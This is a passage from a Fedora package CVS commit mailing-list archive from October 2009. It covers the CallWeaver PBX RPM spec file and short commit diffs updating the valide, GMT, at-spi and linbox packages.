Group:		Applications/Internet
License:	GPLv2
URL:		http://www.callweaver.org/

Source0:	http://devs.callweaver.org/release/callweaver-%{version}.tar.bz2

BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:	spandsp-devel >= 0.0.6-0.1.pre12
BuildRequires:	%{?snap:libtool automake autoconf} zlib-devel
BuildRequires:	fedora-usermgmt-devel bluez-libs-devel openldap-devel
BuildRequires:	libjpeg-devel loudmouth-devel nspr-devel js-devel ncurses-devel
BuildRequires:	unixODBC-devel openssl-devel speex-devel alsa-lib-devel
BuildRequires:	isdn4k-utils-devel libcap-devel sqlite-devel mysql-devel
BuildRequires:	postgresql-devel %{?with_misdn:mISDN-devel}
BuildRequires:	 %{?with_zaptel:zaptel-devel libpri-devel}

%if 0%{?rhel}
BuildRequires: popt  readline-devel
%endif

%if 0%{?fedora} >= 11
BuildRequires: popt-devel  compat-readline5-devel
%endif




Requires:	/sbin/chkconfig
Obsoletes:	openpbx < 1.2-5
%{?FE_USERADD_REQ}

%description
CallWeaver is an Open Source PBX and telephony development platform that
can both replace a conventional PBX and act as a platform for developing
custom telephony applications for delivering dynamic content over a
telephone similarly to how one can deliver dynamic content through a
web browser using CGI and a web server.

CallWeaver talks to a variety of telephony hardware including BRI, PRI,
POTS, Bluetooth headsets and IP telephony clients using SIP and IAX
protocols protocol (e.g. ekiga or kphone).  For more information and a
current list of supported hardware, see www.callweaver.org.


%package devel
Obsoletes:	openpbx-devel < 1.2-5
Group:		Applications/Internet
Summary:	Development package for %{name}
Requires:	%{name} = %{version}-%{release}

%description devel
Use this package for developing and building modules for CallWeaver


%package postgresql
Obsoletes:	openpbx-postgresql < 1.2-5
Group:		Applications/Internet
Summary:	PostgreSQL support for CallWeaver
Requires:	%{name} = %{version}-%{release}

%description postgresql
This package contains modules for CallWeaver which make use of PostgreSQL.

%package mysql
Obsoletes:	openpbx-mysql < 1.2-5
Group:		Applications/Internet
Summary:	MySQL support for CallWeaver
Requires:	%{name} = %{version}-%{release}

%description mysql
This package contains modules for CallWeaver which make use of MySQL.

%package odbc
Obsoletes:	openpbx-odbc < 1.2-5
Group:		Applications/Internet
Summary:	ODBC support for CallWeaver
Requires:	%{name} = %{version}-%{release}

%description odbc
This package contains modules for CallWeaver which make use of ODBC.

%package ldap
Obsoletes:	openpbx-ldap < 1.2-5
Group:		Applications/Internet
Summary:	LDAP support for CallWeaver
Requires:	%{name} = %{version}-%{release}

%description ldap
This package contains modules for CallWeaver which make use of LDAP.

%package bluetooth
Obsoletes:	openpbx-bluetooth < 1.2-5
Group:		Applications/Internet
Summary:	Bluetooth channel driver for CallWeaver
Requires:	%{name} = %{version}-%{release}

%description bluetooth
This package contains a Bluetooth channel driver for CallWeaver, which
allows Bluetooth headsets and telephones to be used for communication.

%package capi
Obsoletes:	openpbx-capi < 1.2-5
Group:		Applications/Internet
Summary:	CAPI channel driver for CallWeaver
Requires:	%{name} = %{version}-%{release}

%description capi
This package contains a CAPI (Common ISDN API) channel driver for
CallWeaver, allowing CAPI devices to be used for making and receiving calls.

%package misdn
Obsoletes:	openpbx-misdn < 1.2-5
Group:		Applications/Internet
Summary:	mISDN channel driver for CallWeaver
Requires:	%{name} = %{version}-%{release}

%description misdn
This package contains the mISDN channel driver for CallWeaver. mISDN is
the replacement modular ISDN stack for Linux, intended to be merged
into the 2.6 kernel.

%package zaptel
Obsoletes:	openpbx-zaptel < 1.2-5
Group:		Applications/Internet
Summary:	Zaptel modules for CallWeaver
Requires:	%{name} = %{version}-%{release}
Requires:	zaptel >= 1.4.0-1

%description zaptel
This package contains the Zap channel driver and MeetMe application
for CallWeaver. Zaptel is Digium's telephony driver package.

%package jabber
Obsoletes:	openpbx-jabber < 1.2-5
Group:		Applications/Internet
Summary:	Jabber support for CallWeaver
Requires:	%{name} = %{version}-%{release}

%description jabber
This package contains Jabber protocol support for CallWeaver.

%package javascript
Obsoletes:	openpbx-javascript < 1.2-5
Group:		Applications/Internet
Summary:	JavaScript support for CallWeaver
Requires:	%{name} = %{version}-%{release}

%description javascript
This package contains JavaScript support for CallWeaver.

%package alsa
Obsoletes:	openpbx-alsa < 1.2-5
Group:		Applications/Internet
Summary:	ALSA channel driver for CallWeaver
Requires:	%{name} = %{version}-%{release}

%description alsa
This package contains an ALSA console driver for CallWeaver, which allows
the local sound devices to be used for making and receiving calls.

%package ogi
Obsoletes:	openpbx-ogi < 1.2-5
Group:		Applications/Internet
Summary:	CallWeaver Gateway Interface
Requires:	%{name} = %{version}-%{release}

%description ogi
This package contains files support for the CallWeaver Gateway Interface; a
convenient interface between CallWeaver and external scripts or programs.


%prep
%setup0 -q

%build
%if 0%{?snap}
./bootstrap.sh
%endif

# fix bz #511302 callweaver should build with compat-readline5-devel
# The readline package in rawhide will be soon updated to new 6.0 release which
# changes the license to GPLv3+. As callweaver is GPLv2, it should be built with
# the older readline (packaged in compat-readline5) to avoid licensing
# incompatibility or switched to libedit which is compatible with GPLv3, but
# doesn't support UTF-8.


%if 0%{?fedora} >= 11
export CPPFLAGS="-I%{_includedir}/readline5" LDFLAGS="-L%{_libdir}/readline5"
%endif


# res_sqlite seems to use internal functions of sqlite3 which don't 
# even _exist_ in current versions. Disable it until it's fixed.

%configure --with-directory-layout=lsb --with-chan_bluetooth \
	   --with-chan_fax --with-chan_capi --with-chan_alsa --with-app_ldap \
	   --disable-zaptel --enable-t38 --enable-postgresql --with-cdr-pgsql \
	   --with-res_config_pqsql --with-pgsql-inc=%{_includedir} \
	   --with-cdr-odbc --with-res_config_odbc \
	   --with-perl-shebang='#! /usr/bin/perl' --disable-builtin-sqlite3 \
	   --enable-javascript --with-res_js --enable-fast-install \
	   %{?with_misdn:--with-chan_misdn} \
	   %{?with_zaptel:--enable-zaptel} \
	   --enable-jabber --with-res_jabber \
	   --enable-mysql --with-res_config_mysql --with-cdr_mysql


# Poxy fscking libtool is _such_ a pile of crap...
#sed -i 's/^CC="gcc"/CC="gcc -Wl,--as-needed"/' libtool

# Poxy fscking autocrap isn't much better
sed -i 's:^/usr/bin/perl:#! /usr/bin/perl:' ogi/fastogi-test ogi/ogi-test.ogi

make %{?_smp_mflags} CCLD="gcc -Wl,--as-needed"

mkdir doc2
mv doc/README.{misdn,chan_capi,res_jabber,odbcstorage} doc2

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

#remove .a and .la files
find $RPM_BUILD_ROOT -name '*.la' -exec rm -f {} ';'
find $RPM_BUILD_ROOT -name '*.a' -exec rm -f {} ';'

install -Dp -m 0755 contrib/fedora/callweaver $RPM_BUILD_ROOT%{_initrddir}/callweaver
install -Dp -m 0644 contrib/fedora/callweaver.logrotate $RPM_BUILD_ROOT%{_sysconfdir}/logrotate.d/callweaver

mv $RPM_BUILD_ROOT/%{_datadir}/callweaver/ogi/eogi-*test $RPM_BUILD_ROOT/%{_sbindir}

# More autocrap insanity. We can't just move confdefs.h into the callweaver/ subdir
# because then autocrap will add that subdir to the compiler's include path and
# many things break. So let's just clean up after it.
sed -i 's:"confdefs.h":<callweaver/confdefs.h>:' $RPM_BUILD_ROOT/%{_includedir}/callweaver/*.h
install -m0644 include/confdefs.h $RPM_BUILD_ROOT/%{_includedir}/callweaver/confdefs.h

rm -rf $RPM_BUILD_ROOT/%{_datadir}/callweaver/doc
rm -f $RPM_BUILD_ROOT/%{_sbindir}/safe_callweaver
rm -f $RPM_BUILD_ROOT/%{_mandir}/man8/safe_callweaver.8

#fix bz 473572 /var/lib/callweaver not packaged (todo - send a patch to upstream to fix this)
mkdir -p $RPM_BUILD_ROOT%{_sharedstatedir}/%{name}
#if you know a better way to create all directory's with only one mkdir tell me
mkdir -p $RPM_BUILD_ROOT%{_sharedstatedir}/%{name}/core
mkdir -p $RPM_BUILD_ROOT%{_sharedstatedir}/%{name}/coredump
mkdir -p $RPM_BUILD_ROOT%{_sharedstatedir}/%{name}/images
mkdir -p $RPM_BUILD_ROOT%{_sharedstatedir}/%{name}/keys
mkdir -p $RPM_BUILD_ROOT%{_sharedstatedir}/%{name}/moh
mkdir -p $RPM_BUILD_ROOT%{_sharedstatedir}/%{name}/ogi


#create /usr/share/callweaver/keys
mkdir -p $RPM_BUILD_ROOT%{_datadir}/%{name}/keys


%clean
rm -rf $RPM_BUILD_ROOT

%pre
%__fe_groupadd 30 -r callweaver &>/dev/null || :
%__fe_useradd  30 -r -s /sbin/nologin -d %{_sysconfdir}/callweaver -M \
                    -c 'CallWeaver user' -g callweaver callweaver &>/dev/null || :
%post
/sbin/chkconfig --add callweaver

%preun
test "$1" != 0 || /sbin/chkconfig --del callweaver

%postun
%__fe_userdel  callweaver &>/dev/null || :
%__fe_groupdel callweaver &>/dev/null || :

%pre zaptel
%{_sbindir}/usermod -G `id -G callweaver | tr " " , `,zaptel callweaver

%pre misdn
%{_sbindir}/usermod -G `id -G callweaver | tr " " , `,misdn callweaver

%files
%defattr(-,root,root,-)
%doc COPYING CREDITS LICENSE BUGS AUTHORS SECURITY README HARDWARE
%doc doc/README.* doc/*.txt doc/*.html sample.call ChangeLog
%doc BUGS InstallGuide.txt
%config(noreplace) %{_sysconfdir}/logrotate.d/callweaver
%{_initrddir}/callweaver
%{_sbindir}/callweaver
%{_sbindir}/callweaver_cli
%{_sbindir}/smsq
%{_sbindir}/streamplayer
%dir %attr(0755,-,-) %{_libdir}/callweaver
%{_libdir}/callweaver/lib*.so.*
%dir %attr(0755,-,-) %{_libdir}/callweaver/modules
%{_libdir}/callweaver/modules/*.so
%{_mandir}/man8/callweaver.8.gz
%dir %{_datadir}/callweaver
%dir %attr(0755,callweaver,callweaver) %{_sysconfdir}/callweaver
%config(noreplace) %attr(0644,callweaver,callweaver) %{_sysconfdir}/callweaver/*
%attr(2755,callweaver,callweaver) %{_localstatedir}/spool/callweaver
%attr(0755,callweaver,callweaver) %{_localstatedir}/log/callweaver
%attr(0755,callweaver,callweaver) %{_localstatedir}/run/callweaver

#fix bz 473572
%attr(0755,callweaver,callweaver) %{_sharedstatedir}/%{name}/

# Unneeded
%exclude %{_sysconfdir}/callweaver/cdr_tds.conf
# Separately packaged
%exclude %{_libdir}/callweaver/modules/*pgsql.so
%exclude %{_libdir}/callweaver/modules/*mysql.so
%exclude %{_libdir}/callweaver/modules/app_sql_postgres.so
%exclude %{_libdir}/callweaver/modules/app_ldap.so
#%exclude %{_libdir}/callweaver/modules/cdr_odbc.so
%exclude %{_libdir}/callweaver/modules/chan_bluetooth.so
%exclude %{_libdir}/callweaver/modules/res_jabber.so
%exclude %{_libdir}/callweaver/modules/res_js.so
%exclude %{_libdir}/callweaver/modules/chan_alsa.so
%exclude %{_libdir}/callweaver/modules/res_ogi.so
%exclude %{_libdir}/callweaver/modules/chan_capi.so
%exclude %{_sysconfdir}/callweaver/cdr_pgsql.conf
%exclude %{_sysconfdir}/callweaver/*mysql.conf
#%exclude %{_sysconfdir}/callweaver/cdr_odbc.conf
%exclude %{_sysconfdir}/callweaver/chan_bluetooth.conf
%exclude %{_sysconfdir}/callweaver/res_jabber.conf
%exclude %{_sysconfdir}/callweaver/alsa.conf
%exclude %{_sysconfdir}/callweaver/capi.conf
%if 0%{?with_misdn:1}
%exclude %{_libdir}/callweaver/modules/chan_misdn.so
%exclude %{_sysconfdir}/callweaver/misdn.conf
%endif
%if 0%{?with_zaptel:1}
%exclude %{_libdir}/callweaver/modules/chan_zap.so
%exclude %{_libdir}/callweaver/modules/app_meetme.so
%exclude %{_libdir}/callweaver/modules/app_flash.so
%exclude %{_sysconfdir}/callweaver/chan_dahdi.conf
%exclude %{_sysconfdir}/callweaver/meetme.conf

%endif

%files devel
%defattr(-,root,root,-)
%dir %{_includedir}/callweaver
%{_includedir}/callweaver/*.h
%{_libdir}/callweaver/lib*.so

%files postgresql
%{_libdir}/callweaver/modules/*pgsql.so
%{_libdir}/callweaver/modules/app_sql_postgres.so
%config(noreplace) %attr(0644,callweaver,callweaver) %{_sysconfdir}/callweaver/cdr_pgsql.conf

%files mysql
%{_libdir}/callweaver/modules/*mysql.so
%config(noreplace) %attr(0644,callweaver,callweaver) %{_sysconfdir}/callweaver/*mysql.conf

#%files odbc
#%{_libdir}/callweaver/modules/cdr_odbc.so
#%config(noreplace) %attr(0644,callweaver,callweaver) %{_sysconfdir}/callweaver/cdr_odbc.conf
#%doc doc2/README.odbcstorage

%files ldap
%{_libdir}/callweaver/modules/app_ldap.so

%files bluetooth
%{_libdir}/callweaver/modules/chan_bluetooth.so
%config(noreplace) %attr(0644,callweaver,callweaver) %{_sysconfdir}/callweaver/chan_bluetooth.conf

%files capi
%{_libdir}/callweaver/modules/chan_capi.so
%config(noreplace) %attr(0644,callweaver,callweaver) %{_sysconfdir}/callweaver/capi.conf
%doc doc2/README.chan_capi

%if 0%{?with_misdn:1}
%files misdn
%{_libdir}/callweaver/modules/chan_misdn.so
%config(noreplace) %attr(0644,callweaver,callweaver) %{_sysconfdir}/callweaver/misdn.conf
%doc doc2/README.misdn
%endif

%if 0%{?with_zaptel:1}
%files zaptel
%{_libdir}/callweaver/modules/chan_zap.so
%{_libdir}/callweaver/modules/app_meetme.so
%{_libdir}/callweaver/modules/app_flash.so
%config(noreplace) %attr(0644,callweaver,callweaver) %{_sysconfdir}/callweaver/chan_dahdi.conf
%config(noreplace) %attr(0644,callweaver,callweaver) %{_sysconfdir}/callweaver/meetme.conf
%endif

%files jabber
%{_libdir}/callweaver/modules/res_jabber.so
%config(noreplace) %attr(0644,callweaver,callweaver) %{_sysconfdir}/callweaver/res_jabber.conf
%doc doc2/README.res_jabber

%files javascript
%{_libdir}/callweaver/modules/res_js.so

%files alsa
%{_libdir}/callweaver/modules/chan_alsa.so
%config(noreplace) %attr(0644,callweaver,callweaver) %{_sysconfdir}/callweaver/alsa.conf

%files ogi
%{_libdir}/callweaver/modules/res_ogi.so
%dir %attr(0755,root,root) %{_datadir}/callweaver/ogi
%{_datadir}/callweaver/ogi/*
%{_sbindir}/eogi*

%changelog
* Mon Oct 19 2009 Itamar Reis Peixoto <itamar at ispbrasil.com.br> - 1.2.1-3
- modify spec file for compatibility with EL

* Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 1.2.1-2
- rebuilt with new openssl

* Wed Jul 29 2009 Itamar Reis Peixoto <itamar at ispbrasil.com.br> - 1.2.1-1
- new version 1.2.1

* Tue Jul 28 2009 Itamar Reis Peixoto <itamar at ispbrasil.com.br> - 1.2.0.1-5
- fix bz #473572 /var/lib/callweaver not packaged
- fix bz #511302 callweaver should build with compat-readline5-devel
- fix postgresql includes-dir

* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.2.0.1-4
- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild

* Mon Feb 23 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.2.0.1-3
- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild

* Fri Jan 23 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.2.0.1-2
- Rebuild for MySQL 5.1.X.

* Thu Sep 11 2008 - Bastien Nocera <bnocera at redhat.com> - 1.2.0.1-1.2
- Rebuild

* Wed Jul 30 2008 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.2.0.1-1.1
- Package manpage again.

* Wed Jul 30 2008 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.2.0.1-1
- Update to release 1.2.0.1

* Mon Feb 18 2008 Fedora Release Engineering <rel-eng at fedoraproject.org> - 1.2-0.5.rc5.20071230
- Autorebuild for GCC 4.3

* Mon Dec 31 2007 David Woodhouse <dwmw2 at infradead.org> 1.2-0.4.rc5.20071230
- Update, rebuild for deps
- Disable ODBC

* Thu Aug 23 2007 David Woodhouse <dwmw2 at infradead.org> 1.2-0.3.rc4.20070822
- Handle open() being a macro

* Wed Aug 22 2007 David Woodhouse <dwmw2 at infradead.org> 1.2-0.2.rc4.20070822
- Update to RC4.20070822 snapshot

* Wed May 30 2007 David Woodhouse <dwmw2 at infradead.org> 1.2-0.1.rc3.svn2861
- Update to CallWeaver RC3 + svn2861

* Fri Feb 23 2007 David Woodhouse <dwmw2 at infradead.org> 1.2-4.rc3.svn2540
- Update to RC3 + svn2540
- Don't hack libtool to add -Wl,--as-needed

* Mon Nov 27 2006 David Woodhouse <dwmw2 at infradead.org> 1.2-4.rc2.svn2282
- Update

* Mon Nov 27 2006 David Woodhouse <dwmw2 at infradead.org> 1.2-3.rc2.svn2135
- Update to RC2

* Wed Oct 18 2006 David Woodhouse <dwmw2 at infradead.org> 1.2-2.rc1.svn1984
- Build with mISDN and MySQL support

* Thu Oct  5 2006 David Woodhouse <dwmw2 at infradead.org> 1.2-1.rc1.svn1979
- Initial build


--- NEW FILE import.log ---
callweaver-1_2_1-3_fc12:EL-5:callweaver-1.2.1-3.fc12.src.rpm:1255972092


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/callweaver/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	5 Jun 2007 16:23:51 -0000	1.1
+++ .cvsignore	19 Oct 2009 17:14:25 -0000	1.2
@@ -0,0 +1 @@
+callweaver-1.2.1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/callweaver/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	5 Jun 2007 16:23:51 -0000	1.1
+++ sources	19 Oct 2009 17:14:26 -0000	1.2
@@ -0,0 +1 @@
+54c2ba5852cbe43b802b4605584b5754  callweaver-1.2.1.tar.bz2



From bioinfornatics at fedoraproject.org  Mon Oct 19 17:14:42 2009
From: bioinfornatics at fedoraproject.org (MERCIER Jonathan)
Date: Mon, 19 Oct 2009 17:14:42 +0000 (UTC)
Subject: rpms/valide/F-10 import.log,1.4,1.5 valide.spec,1.4,1.5
Message-ID: <20091019171442.4AFE311C00DC@cvs1.fedora.phx.redhat.com>

Author: bioinfornatics

Update of /cvs/pkgs/rpms/valide/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9717/F-10

Modified Files:
	import.log valide.spec 
Log Message:



Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/valide/F-10/import.log,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- import.log	19 Oct 2009 15:09:58 -0000	1.4
+++ import.log	19 Oct 2009 17:14:42 -0000	1.5
@@ -2,3 +2,4 @@ valide-0_5_1-0_11_20090713svn278_fc11:F-
 valide-0_5_1-0_12_20090715svn280_fc11:F-10:valide-0.5.1-0.12.20090715svn280.fc11.src.rpm:1247680569
 valide-0_5_1-0_14_20090720svn291_fc11:F-10:valide-0.5.1-0.14.20090720svn291.fc11.src.rpm:1248112050
 valide-0_5_1-0_18_20091019svn425_fc11:F-10:valide-0.5.1-0.18.20091019svn425.fc11.src.rpm:1255964916
+valide-0_5_1-0_19_20091019svn425_fc11:F-10:valide-0.5.1-0.19.20091019svn425.fc11.src.rpm:1255972010


Index: valide.spec
===================================================================
RCS file: /cvs/pkgs/rpms/valide/F-10/valide.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- valide.spec	19 Oct 2009 15:09:58 -0000	1.4
+++ valide.spec	19 Oct 2009 17:14:42 -0000	1.5
@@ -10,7 +10,7 @@
 
 Name:			valide
 Version:		0.5.1
-Release:		0.18.%{alphatag}%{svn_revision}%{?dist}
+Release:		0.19.%{alphatag}%{svn_revision}%{?dist}
 Summary:		An integrated development environment (IDE) for the Vala programming language
 
 Group:			Development/Tools
@@ -121,6 +121,9 @@ fi
 
 %changelog
 * Mon Oct 19 2009 Jonathan MERCIER <bioinfornatics at gmail.com> 0.5.1-0.19.20091019svn425
+- Bug fix
+
+* Mon Oct 19 2009 Jonathan MERCIER <bioinfornatics at gmail.com> 0.5.1-0.18.20091019svn425
 - Update valide to revision 425
 - Some bug fix
 



From orion at fedoraproject.org  Mon Oct 19 17:14:50 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Mon, 19 Oct 2009 17:14:50 +0000 (UTC)
Subject: rpms/GMT/devel .cvsignore, 1.5, 1.6 GMT.spec, 1.11, 1.12 sources,
	1.5, 1.6
Message-ID: <20091019171450.0B92511C00DC@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/GMT/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10722

Modified Files:
	.cvsignore GMT.spec sources 
Log Message:
* Mon Oct 19 2009 Orion Poplawski <orion at cora.nwra.com> 4.5.1-1
- Update to 4.5.1
- Enable gdal support



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/GMT/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	17 Jul 2009 18:22:36 -0000	1.5
+++ .cvsignore	19 Oct 2009 17:14:49 -0000	1.6
@@ -1,4 +1,4 @@
-GMT4.5.0_doc.tar.bz2
-GMT4.5.0_share.tar.bz2
-GMT4.5.0_src.tar.bz2
-GMT4.5.0_suppl.tar.bz2
+GMT4.5.1_doc.tar.bz2
+GMT4.5.1_share.tar.bz2
+GMT4.5.1_src.tar.bz2
+GMT4.5.1_suppl.tar.bz2


Index: GMT.spec
===================================================================
RCS file: /cvs/pkgs/rpms/GMT/devel/GMT.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- GMT.spec	1 Aug 2009 05:19:23 -0000	1.11
+++ GMT.spec	19 Oct 2009 17:14:49 -0000	1.12
@@ -7,8 +7,8 @@
 %define octave_octdir %(octave-config -p LOCALAPIOCTFILEDIR || echo)
 
 Name:           GMT
-Version:        4.5.0
-Release:        4%{?dist}
+Version:        4.5.1
+Release:        1%{?dist}
 Summary:        Generic Mapping Tools
 
 Group:          Applications/Engineering
@@ -20,6 +20,7 @@ Source2:        ftp://ftp.soest.hawaii.e
 Source3:        ftp://ftp.soest.hawaii.edu/gmt/GMT%{version}_doc.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
+BuildRequires:  gdal-devel
 BuildRequires:  libXt-devel libXaw-devel libXmu-devel libXext-devel
 BuildRequires:  netcdf-devel
 BuildRequires:  GMT-coastlines
@@ -129,6 +130,7 @@ export CSH=sh
 export CFLAGS="$RPM_OPT_FLAGS -fPIC -I%{_includedir}/netcdf"
 %configure --datadir=%{gmthome} \
            --enable-debug \
+           --enable-gdal GDAL_INC=%{_includedir}/gdal \
            --enable-shared \
            --enable-octave --enable-mex-mdir=%{octave_mdir} \
            --enable-mex-xdir=%{octave_octdir} \
@@ -188,14 +190,14 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc README COPYING ChangeLog
+%doc README LICENSE.TXT ChangeLog
 %{_bindir}/*
 %exclude %{_bindir}/xgridedit
 %{_libdir}/*.so.*
 
 %files common
 %defattr(-,root,root,-)
-%doc README __package_docs/* COPYING ChangeLog gmt_bench-marks
+%doc README __package_docs/* LICENSE.TXT ChangeLog gmt_bench-marks
 %dir %{gmtconf}
 %dir %{gmtconf}/mgg
 %dir %{gmtconf}/dbase
@@ -235,6 +237,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 19 2009 Orion Poplawski <orion at cora.nwra.com> 4.5.1-1
+- Update to 4.5.1
+- Enable gdal support
+
 * Fri Jul 31 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 4.5.0-4
 - Rebuild against Octave 3.2.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/GMT/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	17 Jul 2009 18:22:36 -0000	1.5
+++ sources	19 Oct 2009 17:14:49 -0000	1.6
@@ -1,4 +1,4 @@
-3185bda3a8245d58cadebe77ce8b6062  GMT4.5.0_doc.tar.bz2
-773a1e290e127e8de365ef33366d4247  GMT4.5.0_share.tar.bz2
-d24e5aad2f6461302ecfef94934f56c0  GMT4.5.0_src.tar.bz2
-b04baf4fc08a46ceeda4c0a5ae7dc8d7  GMT4.5.0_suppl.tar.bz2
+124b2206be03e0d4d8c2bed582a30187  GMT4.5.1_doc.tar.bz2
+1380a82348b9fdd0c32474787a90a95f  GMT4.5.1_share.tar.bz2
+a0e7b410e8470d6c47bd56830fd1158f  GMT4.5.1_src.tar.bz2
+c771a72a7eed44678134ae0b51edd606  GMT4.5.1_suppl.tar.bz2



From mclasen at fedoraproject.org  Mon Oct 19 17:20:58 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon, 19 Oct 2009 17:20:58 +0000 (UTC)
Subject: rpms/at-spi/F-12 .cvsignore, 1.63, 1.64 at-spi.spec, 1.124,
	1.125 sources, 1.63, 1.64
Message-ID: <20091019172058.0546811C00DC@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/at-spi/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12613

Modified Files:
	.cvsignore at-spi.spec sources 
Log Message:
1.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/at-spi/F-12/.cvsignore,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- .cvsignore	24 Sep 2009 00:03:51 -0000	1.63
+++ .cvsignore	19 Oct 2009 17:20:57 -0000	1.64
@@ -1 +1 @@
-at-spi-1.28.0.tar.bz2
+at-spi-1.28.1.tar.bz2


Index: at-spi.spec
===================================================================
RCS file: /cvs/pkgs/rpms/at-spi/F-12/at-spi.spec,v
retrieving revision 1.124
retrieving revision 1.125
diff -u -p -r1.124 -r1.125
--- at-spi.spec	2 Oct 2009 23:11:57 -0000	1.124
+++ at-spi.spec	19 Oct 2009 17:20:57 -0000	1.125
@@ -9,8 +9,8 @@
 
 Summary: Assistive Technology Service Provider Interface
 Name: at-spi
-Version: 1.28.0
-Release: 3%{?dist}
+Version: 1.28.1
+Release: 1%{?dist}
 URL: http://developer.gnome.org/projects/gap/
 Source0: http://download.gnome.org/sources/at-spi/1.28/%{name}-%{version}.tar.bz2
 
@@ -48,8 +48,6 @@ BuildRequires: automake, autoconf, libto
 
 # http://bugzilla.gnome.org/show_bug.cgi?id=548782
 Patch0: evo-crash.patch
-# https://bugzilla.gnome.org/show_bug.cgi?id=578334
-Patch1: at-spi-fixed-sm.patch
 
 %description
 at-spi allows assistive technologies to access GTK-based
@@ -87,7 +85,6 @@ This package contains Python bindings al
 %prep
 %setup -q
 %patch0 -p1 -b .evo-crash
-%patch1 -p1 -b .fixed-sm
 
 autoreconf -i -f
 
@@ -157,6 +154,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 19 2009 Matthias Clasen <mclasen at redhat.com> - 1.28.1-1
+- Update to 1.28.1
+
 * Fri Oct  2 2009 Matthias Clasen <mclasen at redhat.com> - 1.28.0-3
 - Fix an oversight in the previous patch that caused
   registryd to slow down logout by ~10 seconds


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/at-spi/F-12/sources,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- sources	24 Sep 2009 00:03:52 -0000	1.63
+++ sources	19 Oct 2009 17:20:57 -0000	1.64
@@ -1 +1 @@
-06f6da7873dffc8a26b04e304236e222  at-spi-1.28.0.tar.bz2
+ff29958339cbff5a0e0f34e4761e7633  at-spi-1.28.1.tar.bz2



From tomspur at fedoraproject.org  Mon Oct 19 17:28:00 2009
From: tomspur at fedoraproject.org (tomspur)
Date: Mon, 19 Oct 2009 17:28:00 +0000 (UTC)
Subject: rpms/linbox/devel import.log, NONE, 1.1 linbox-cflags-lflags.patch, 
	NONE, 1.1 linbox-double-named.diff, NONE,
	1.1 linbox-respect-destdir.diff, NONE, 1.1 linbox.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019172800.EF2EC11C00DC@cvs1.fedora.phx.redhat.com>

Author: tomspur

Update of /cvs/pkgs/rpms/linbox/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15401/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log linbox-cflags-lflags.patch linbox-double-named.diff 
	linbox-respect-destdir.diff linbox.spec 
Log Message:
Initial import (#529466).


--- NEW FILE import.log ---
linbox-1_1_6-6_fc11:HEAD:linbox-1.1.6-6.fc11.src.rpm:1255973236

linbox-cflags-lflags.patch:
 linbox-config.in |    5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

--- NEW FILE linbox-cflags-lflags.patch ---
--- linbox-config.in.orig	2008-06-14 03:21:00.000000000 +0200
+++ linbox-config.in	2009-10-18 13:44:39.000000000 +0200
@@ -55,11 +55,11 @@
 	;;
 
     --cflags)
-       	echo -I${includedir} @GMP_CFLAGS@ @NTL_CFLAGS@ @GIVARO_CFLAGS@ @SACLIB_CFLAGS@ @LIDIA_CFLAGS@ 
+       	echo -n " -I${includedir} @GMP_CFLAGS@ @NTL_CFLAGS@ @GIVARO_CFLAGS@ @SACLIB_CFLAGS@ @LIDIA_CFLAGS@"
        	;;
 
     --libs)
-       	echo -L${libdir} -llinbox @LIDIA_LIBS@  @NTL_LIBS@ @GIVARO_LIBS@ @SACLIB_LIBS@ @GMP_LIBS@ @BLAS_LIBS@
